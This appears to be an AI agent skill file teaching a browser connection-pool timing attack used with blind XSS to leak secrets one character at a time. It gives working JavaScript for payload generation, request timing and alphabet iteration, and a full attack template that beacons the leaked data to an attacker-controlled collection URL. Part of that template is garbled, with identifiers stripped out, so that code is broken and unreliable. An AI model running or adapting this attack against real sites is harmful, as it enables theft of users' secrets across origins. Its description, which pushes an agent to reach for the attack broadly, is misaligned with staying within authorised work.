| name | connection-pool-timing-attack |
| description | How to perform timing-based XSS attacks exploiting browser connection pool limits. Use this skill whenever you need to leak data through timing side-channels, exploit Chrome's 6 concurrent connection limit per origin, perform blind XSS exfiltration, or extract secrets when direct data exfiltration is blocked. Make sure to use this skill for any timing-based attack, connection pool exploitation, or when you need to extract data from a blind XSS scenario where traditional exfiltration methods are blocked. |
Connection Pool Timing Attack
A technique to leak data through timing side-channels by exploiting browser connection pool limits (Chrome allows 6 concurrent connections per origin).
Attack Overview
This attack works by:
- Injecting a payload with many
<img> tags loading a resource from the target origin
- Triggering the connection pool limit (6 concurrent requests max in Chrome)
- Timing a request to the same origin
- Detecting whether the pool is blocked (slow = injection active) or free (fast = injection inactive)
- Iterating through possible characters to extract secrets
When to Use This Attack
- Blind XSS scenarios where you can't directly exfiltrate data
- When the target has conditional resource loading based on input
- CTF challenges with timing-based vulnerabilities
- When traditional XSS exfiltration (beacon, fetch, img) is blocked
- When you need to extract secrets character-by-character
Attack Pattern
Step 1: Create Payload with Many Image Tags
Inject a note/payload containing:
- The secret prefix + test character
- 70+
<img> tags pointing to a resource on the target origin
const payload =
`${prefix}${letter}` +
Array.from(Array(78))
.map((e, i) => `<img/src=/js/purify.js?${i}>`)
.join("")
Step 2: Time a Request to the Same Origin
function timeScript() {
return new Promise((resolve) => {
var x = document.createElement("script")
x.src = "https://target.com/js/purify.js?" + Math.random()
var start = Date.now()
x.onerror = () => {
resolve(Date.now() - start)
x.remove()
}
document.body.appendChild(x)
})
}
Step 3: Compare Timing
- Slow (>100ms): Connection pool is blocked → injection was active → character matches
- Fast (<100ms): Connection pool is free → injection was inactive → character doesn't match
Step 4: Iterate Through Alphabet
const alphabet = "zyxwvutsrqponmlkjihgfedcba_"
for (const letter of alphabet) {
if (await checkLetter(letter)) {
prefix += letter
break
}
}
Complete Attack Template
<html>
<head>
<script>
const SITE_URL = "https://target.com/"
const PING_URL = "https://your-server.com/collect"
const TIMEOUT = 500
const alphabet = "zyxwvutsrqponmlkjihgfedcba_"
var prefix = "FLAG{"
function timeScript() {
return new Promise((resolve) => {
var x = document.createElement("script")
x.src = SITE_URL + "js/purify.js?" + Math.random()
var start = Date.now()
x.onerror = () => {
resolve(Date.now() - start)
x.remove()
}
document.body.appendChild(x)
})
}
async function () {
x = .()
x. = +
x. =
x. =
i = .()
i. =
i. =
i. = note
x.(i)
..(x)
x.()
}
() {
x = .()
x. = +
x. =
x. =
i = .()
i. =
i. =
i. = note_id
x.(i)
..(x)
x.()
}
= () => ( (resolve, ms))
() {
payload =
+
.(())
.( )
.()
(payload)
()
()
()
()
time = ()
navigator.(, [letter, time])
time >
}
. = () => {
navigator.(, )
( letter alphabet) {
( (letter)) {
prefix += letter
navigator.(, prefix)
}
}
}
Key Parameters to Tune
| Parameter | Default | Purpose |
|---|
TIMEOUT | 500ms | Wait time between operations |
threshold | 100ms | Timing threshold for detection |
img_count | 78 | Number of img tags (must exceed 6) |
alphabet | a-z_ | Characters to test |
Detection Threshold
The threshold (100ms in the example) should be calibrated based on:
- Network latency to the target
- Server response time
- Number of concurrent connections being blocked
Calibration method:
- Run the attack without the injection active
- Measure baseline timing
- Set threshold to baseline + margin (e.g., 2x baseline)
Browser Compatibility
| Browser | Connection Limit | Notes |
|---|
| Chrome | 6 per origin | Primary target |
| Firefox | 6 per origin | Similar behavior |
| Safari | 6 per origin | May vary by version |
Limitations
- Slow: Character-by-character extraction takes time
- Unreliable: Network jitter can cause false positives
- Requires: Conditional resource loading on target
- Browser-dependent: Connection limits vary by browser
Variations
Using Images Instead of Scripts
function timeImage() {
return new Promise((resolve) => {
var img = new Image()
img.src = SITE_URL + "js/purify.js?" + Math.random()
var start = Date.now()
img.onload = img.onerror = () => {
resolve(Date.now() - start)
}
})
}
Using Fetch API
async function timeFetch() {
const start = Date.now()
try {
await fetch(SITE_URL + "js/purify.js?" + Math.random())
} catch (e) {}
return Date.now() - start
}
Testing Checklist
References